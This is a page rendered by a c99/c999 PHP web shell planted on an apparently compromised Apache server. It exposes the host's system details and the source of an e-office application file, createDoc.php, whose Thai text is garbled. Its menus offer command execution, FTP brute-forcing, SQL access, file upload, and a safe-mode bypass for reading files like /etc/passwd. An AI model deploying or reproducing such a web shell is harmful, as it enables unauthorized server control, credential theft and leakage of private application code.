!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     createDoc.php (2.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocType.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"funct.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
$oDt = new doctype($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);

$oDlc->SearchByKey($_SESSION['DLCID']); $oDlc->GetRecord(); 
$oDlp->SearchByKey($oDlc->DlpID);  $oDlp->GetRecord();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">ÊÃéÒ§ËÃ×;ÔÁ¾ì˹ѧÊ×ÍÃÒª¡ÒÃ</font></legend>
        <table width="85%" border="0" align="center" cellpadding="6" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
        <tr><td align="center" height="22" ><strong>ÊÃéÒ§ËÃ×;ÔÁ¾ì˹ѧÊ×ÍÃÒª¡ÒÃ</strong></td></tr>
        <tr><td height="22" align=left><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>àÅ×Í¡ª¹Ô´Ë¹Ñ§Ê×Í</strong></font></td></tr>
          <? $oDt->RSdoctype(); 
                  while(
$oDt->GetRecord()){  
                    if(
$oDt->DtID!='14' && $oDt->DtID!='15')
                        if(
$oDt->DtP=="1"){
                                echo 
"<tr height=22><td colspan=5 align=\"left\">&nbsp;&nbsp;&nbsp;&nbsp;"; if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  } echo $oDt->DtName;    if($oDt->DtPDtID=="0"){  echo "<strong></td></tr>";  }         
                        }else{    
                
?>
              <tr height=22>
              <td align="left">&nbsp;&nbsp;&nbsp;<? if($oDt->DtPDtID=="0"){  echo "<strong>";  }else{  echo "&nbsp;&nbsp;-&nbsp;";  }  
                if(
SearchDlpIDSarabunCenter()==$oDlp->DlpID && $oDt->DtID=="3"){   
                    echo 
"";
                }else{
                    echo 
"<a href=\"formCreateDoc.php?dt=".$oDt->DtID."\">";
                }
                echo 
$oDt->DtName;  
                if(
SearchDlpIDSarabunCenter()==$oDlp->DlpID && $oDt->DtID=="3"){   
                    echo 
"";
                }else{
                    echo 
"</a>";
                }                
                if(
$oDt->DtPDtID=="0"){  echo "<strong>";  } ?></td>
            <?            
                }
?>
        </table>
</fieldset> 
</td></tr></table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--